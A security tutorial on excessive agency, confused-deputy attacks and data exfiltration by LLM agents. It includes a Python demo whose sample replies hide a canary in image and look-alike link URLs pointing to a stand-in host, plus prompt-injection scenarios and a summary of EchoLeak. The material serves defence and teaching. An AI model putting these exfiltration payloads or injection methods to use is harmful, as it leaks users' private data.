Excessive Agency, Exfiltration and Privilege Escalation

The attacker does not need to break in if your agent already has the keys and will carry things out for them.

BeginnerIntermediateExpert · 13 min read · Last updated:

In short

Most serious agent incidents need three things: more power than the task requires, input that can steer the model and a way for data or effects to leave. Cut the power first. Check every action with the user's own rights, treat model output as untrusted text and control every outbound path, including the quiet ones such as images and links.

What you will learn: the causes of excessive agency, how confused deputy and privilege escalation work, the channels data leaves by, and how to handle model output safely.
Prerequisites: Tool Permissions, Approvals and Abuse Risks and Prompt Injection Attacks and Defenses. The idea of a threat model from Agent Threat Model and OWASP Agentic Risks helps.

Versions used

The example runs in November 2026 with Python 3.13 and Markdown 3.11. It uses a harmless marker string in place of a secret and sends nothing over a network.

Beginner Four related problems

The problems in plain words

ProblemPlain meaningExample
Excessive agencyThe agent can do more than the job needsA reporting agent can also delete records
Tool misuseA legitimate tool is used for a harmful purposeThe email tool sends a customer list outside
Data exfiltrationPrivate data reaches someone who should not have itA reply contains a link that carries a secret
Confused deputyA trusted helper uses its own authority for someone else's requestAn intern asks the agent, which reads payroll with its admin account
Privilege escalationSomeone ends up with more rights than they were givenAn agent edits its own permission file

These map closely to OWASP's agentic risks for tool misuse and for identity and privilege abuse.

Hostile inputor an honest mistake
Model decidesproposes an action
Power availabletools and rights
Way outmessage, request, link, file
Removing any one link limits the harm. The last two are under your control.

Reduce agency first

Agency has three dials. Turn each down before adding detection.

DialQuestionReduce it by
FunctionsWhich operations exist?Removing unused tools; replacing "run any query" with named operations
PermissionsOn which data and systems?Read-only where possible; per-user and per-record rights
AutonomyHow far without a person?Approval for consequential steps; limits on count and value
Broad toolNarrow replacement
run_sql(text)get_order(order_id) filtered to the caller
send_email(to, body)reply_to_ticket(ticket_id, body); recipient set by code
http_request(url)check_carrier_status(tracking_id)
shell(command)Named build and test operations inside a sandbox

The narrow versions remove choices the model never needed to make, so there is less for an attacker to steer. See Designing Tool Schemas and Contracts.

Intermediate Authority and exits

The confused deputy

An agent often runs with its own powerful account. When a user asks for something, the system checks what the agent may do, not what the user may do. The fix is to compute permission from all three parties: what the agent is built to do, what this user may do and what this task needs.

Agentwhat it is built to do
Userwhat this person may do
Taskwhat this job needs
Allow an operation only when it appears in all three.

Two controls you can run

The first part compares a service-account design with the overlap rule. The second renders five model replies three ways and asks whether the marker would leave automatically or hide behind a link. Save as agency.py, run pip install Markdown, then python agency.py.

"""Two controls for a misled agent: borrowed authority and data leaving through output."""
import html
import re
from html.parser import HTMLParser
from urllib.parse import urlsplit

import markdown                                    # pip install markdown

# Part 1: whose authority is used?
AGENT = {"read:tickets", "read:payroll", "send:email", "delete:ticket"}   # service account
USERS = {"intern": {"read:tickets"}, "hr": {"read:tickets", "read:payroll", "send:email"}}
TASKS = {"summarize tickets": {"read:tickets"},
         "payroll report": {"read:payroll", "send:email"}}


def allowed(need, user, task, design):
    if design == "service account":
        return need in AGENT
    return need in AGENT & USERS[user] & TASKS[task]


# Part 2: can the reply make the reader's browser send data somewhere?
CANARY = "CANARY-7f3a"
BAD = f"https://collect.test/p?d={CANARY}"
REPLIES = {
    "inline image": f"Summary ready. ![logo]({BAD})",
    "reference image": f"Summary ready. ![logo][r]\n\n[r]: {BAD}",
    "raw HTML image": f'Summary ready. <img src="{BAD}">',
    "look-alike link": f"[Your ticket](https://intranet.example.com.collect.test/?d={CANARY})",
    "approved link": "Open https://intranet.example.com/ticket/42",
}


class Remote(HTMLParser):
    """Collect what a browser would load, and what a reader could click."""
    def __init__(self, page):
        super().__init__()
        self.loads, self.links = [], []
        self.feed(page)

    def handle_starttag(self, tag, attrs):
        attrs = dict(attrs)
        if tag == "img":
            self.loads.append(attrs.get("src", ""))
        if tag == "a":
            self.links.append(attrs.get("href", ""))


def pattern_filter(reply):
    """Common first attempt: delete inline Markdown images, then render."""
    return markdown.markdown(re.sub(r"!\[[^\]]*\]\(https?://[^)]*\)", "", reply))


def escape_first(reply, hosts=frozenset({"intranet.example.com"})):
    """Treat the reply as text. Only your code creates links, only to listed hosts."""
    parts = re.split(r"(https://[^\s<>\"')\]]+)", reply)
    out = []
    for i, part in enumerate(parts):
        safe = html.escape(part)
        if i % 2 and urlsplit(part).hostname in hosts:
            safe = f'<a href="{safe}">{safe}</a>'
        out.append(safe)
    return "<p>" + "".join(out) + "</p>"


if __name__ == "__main__":
    print("An injected note asks the intern's ticket summary to read payroll:")
    for design in ("service account", "user and task"):
        ok = allowed("read:payroll", "intern", "summarize tickets", design)
        print(f"  {design:<16} read:payroll -> {'allowed' if ok else 'denied'}")
    print("\nCanary leaves automatically (A) or sits behind a link (L)?")
    print(f"  {'reply':<17}{'rendered as is':<16}{'pattern filter':<16}escape first")
    for name, reply in REPLIES.items():
        row = f"  {name:<17}"
        for render in (markdown.markdown, pattern_filter, escape_first):
            seen = Remote(render(reply))
            auto = any(CANARY in u for u in seen.loads)
            link = any(urlsplit(u).hostname != "intranet.example.com" for u in seen.links)
            row += f"{'A: leaks' if auto else 'L: bad link' if link else 'safe':<16}"
        print(row.rstrip())
    print("\napproved link still works:",
          Remote(escape_first(REPLIES["approved link"])).links)

Output:

An injected note asks the intern's ticket summary to read payroll:
  service account  read:payroll -> allowed
  user and task    read:payroll -> denied

Canary leaves automatically (A) or sits behind a link (L)?
  reply            rendered as is  pattern filter  escape first
  inline image     A: leaks        safe            safe
  reference image  A: leaks        A: leaks        safe
  raw HTML image   A: leaks        A: leaks        safe
  look-alike link  L: bad link     L: bad link     safe
  approved link    safe            safe            safe

approved link still works: ['https://intranet.example.com/ticket/42']

What to notice

  • The intern never gained a right. The service account simply used its own.
  • The pattern filter fixed the case it was written for and missed two other ways of writing the same image.
  • Deleting images does nothing about a link whose text looks friendly.
  • Escaping the whole reply and letting your code create the only links handles forms you did not think of.
What this does not solve

An approved host can still be abused, for example through an open redirect, a proxy or a public upload area. Escaping also removes formatting. If you need rich output, use a maintained sanitizer with a strict allow list and a browser content security policy that blocks unlisted image and request destinations.

Ways data leaves

ChannelHow data hidesControl
Messages and emailBody, attachment, extra recipientRecipients set by code; content checks; approval
Web requestsAddress, query, headersDestination allow list; no free-form addresses
Rendered repliesImages and link previews that load automaticallyNo remote images; restrictive content policy
Shared recordsComment on a public ticket or repositoryCheck the audience of the destination
Code executionNetwork call or package installSandbox with no outbound network by default
Logs and tracesCopied prompts and tool resultsRedaction and access control
MemoryStored for one user, recalled for anotherIsolation by user and tenant
Small signalsWhich allowed action is chosen, or how oftenRate limits and monitoring; keep secrets out of context

The surest protection for a secret is that the model never sees it. See Agent Identity, Authorization and Secrets.

A real example: EchoLeak

In June 2025 researchers disclosed EchoLeak (CVE-2025-32711), in which a single crafted email could lead Microsoft 365 Copilot to send internal data to an attacker without the user clicking anything. The published analysis describes several defenses being chained past, including through automatic image loading. Microsoft fixed it on its side. The general lesson holds for any assistant: how output is rendered is part of the security boundary.

Treat output as untrusted input

Whatever the model writes may contain text an attacker chose. When code consumes it, apply the same care as for a web form.

Where output goesRiskSafe handling
Web pageScript or markup injectionEscape by default; sanitize with an allow list
DatabaseSQL injection or destructive queryParameters; restricted, read-only connection
ShellExtra commandsAvoid shells; pass a fixed program and argument list
File pathWriting outside the folderResolve the path and check it stays inside
SpreadsheetCells interpreted as formulasNeutralize leading formula characters
Templates or configurationExpressions evaluatedNever evaluate data as a template or code
Another agentInstructions passed onTyped fields; no authority from message text
from pathlib import Path

def inside(root, name):
    root = Path(root).resolve()
    target = (root / name).resolve()
    if not target.is_relative_to(root):
        raise ValueError("path leaves the workspace")
    return target

This path check is a sketch and was not part of the run above. It does not protect against a link changed between the check and the use, so also isolate the process.

Expert Escalation, data flow and detection

Paths to escalation

PathPrevention
The agent can edit its own instructions, tools or policyKeep them read-only to the running agent; change through review
A sandbox can reach a credential serviceBlock metadata addresses; mount no secrets
A low-trust agent asks a high-trust oneCheck the original requester's rights at every hop
A saved approval is reusedBind approval to one exact action, once, with expiry
Memory records "this user is an administrator"Take roles only from the identity system
Build or deploy rights allow new codeSeparate who writes code from who releases it

Limit combinations per session

Meta's Agents Rule of Two offers a design test: within one session, an agent should have no more than two of untrusted input, access to sensitive systems or private data, and the ability to change state or communicate externally. If a task needs all three, add human supervision or another reliable check, or split the work into separate sessions that pass only constrained values. It narrows risk from prompt injection; it does not replace permissions or ordinary security.

Reader sessionuntrusted text, no private data, no actions
Checked valuestyped fields only
Worker sessionprivate data and actions, no raw text

A checked value is only as safe as its check. An order number with a fixed format is safe to pass; a free-text "summary" carries the injection with it.

Limit volume as well as permission

A permitted action repeated a thousand times can be the whole incident. A support agent may read one customer record by design; reading every record is a breach even though each call passed the permission check. Set ceilings that match honest work, and enforce them in the tool service.

CeilingExample starting pointWhen reached
Records read per taskThe records linked to this requestStop and ask for a reason
Outbound messages per user per hourSlightly above the busiest normal hourQueue for review
New destinationsNone without approvalHold the message
Value of changes per dayA figure the business owner accepts losingRequire a second person
Steps and tool calls per taskAbove the longest successful test runEnd the task and report

The examples are starting points to measure against, not recommended values. Count across sessions and agents, or an attacker will simply spread the work out.

Delegation between agents

When one agent asks another to act, the second must learn who the request is really for. Pass a verifiable statement of the original user and the narrowed rights, not a sentence such as "the manager approved this". Each receiving service checks it again, and rights can only shrink along the chain.

Userread and update orders
Coordinatorread orders
Specialistread one order
No step adds a right that the step before did not hold.

Detect misuse

  • First use of a tool or destination by an agent.
  • Reads far larger than the task needs, followed by any outbound step.
  • Denied actions repeated with small variations.
  • Long or encoded-looking strings in addresses and query parameters.
  • Marker values planted in sensitive records appearing anywhere else.

Record the policy decision for each action so investigators can see what was attempted and what stopped it. See Human Approval, Thresholds and Secure Logging.

Test these controls

TestPass condition
Low-rights user requests high-rights dataDenied by the tool service, not only by the model
Reply includes remote images in several formsNothing loads
Output contains markup, SQL and path charactersHandled as data
Agent tries to change its own policyNo write access
Sandbox attempts outbound connectionsBlocked and logged

Test the services directly as well as through the agent. A control that only works because the model behaved is not a control.

Worked review: a support assistant

Illustrative example

A support assistant reads customer emails, searches all customer records and sends replies. Review finds that one injected email could combine all three powers. The team changes the search to the sender's own account, sets the recipient from the ticket, renders replies as text and requires approval for attachments. An injection can still produce a misleading reply to that same customer, which the team records as a remaining risk and samples in quality review.

An agency review you can repeat

  1. Export the tools each agent can call and the credentials each tool uses.
  2. From logs, list which tools and permissions were used in a representative period. Remember rare but legitimate work such as month-end tasks.
  3. For everything unused, ask the owner to justify or remove it.
  4. For everything used, ask whether a narrower operation would do.
  5. Mark each tool that reads untrusted content, reads private data or sends anything out, and look for sessions that combine all three.
  6. Record decisions and a date to repeat the review.

Common mistakes

MistakeBetter practice
One powerful account for all usersAct with delegated, per-user rights
Blocking known bad strings in outputAllow only known good structures
Forgetting automatic image and preview loadingBlock remote loads in the interface
Letting the model choose recipients and addressesSet them in code from trusted records
Passing raw text between a reader and an actorPass validated, typed values

Checklist

  • Every tool is needed, narrow and owned
  • Permissions use the overlap of agent, user and task
  • All outbound paths are listed and controlled
  • Output is escaped or validated for each destination
  • The agent cannot change its own rules
  • Services are tested without the model in front

Frequently asked questions

Is a stronger system prompt enough to stop misuse?

No. It may reduce accidents, but permissions and outbound controls must hold even when the model ignores it.

Does read-only mean safe?

No. Reading is the first half of exfiltration. Read access still needs limits and a controlled way out.

Can data leak without any tool?

Yes. A rendered reply that loads a remote image or shows a crafted link can carry data out.

How do I find excessive agency?

Compare the rights an agent holds with those it used over a representative period, then remove the difference after review.

References and further reading

Next steps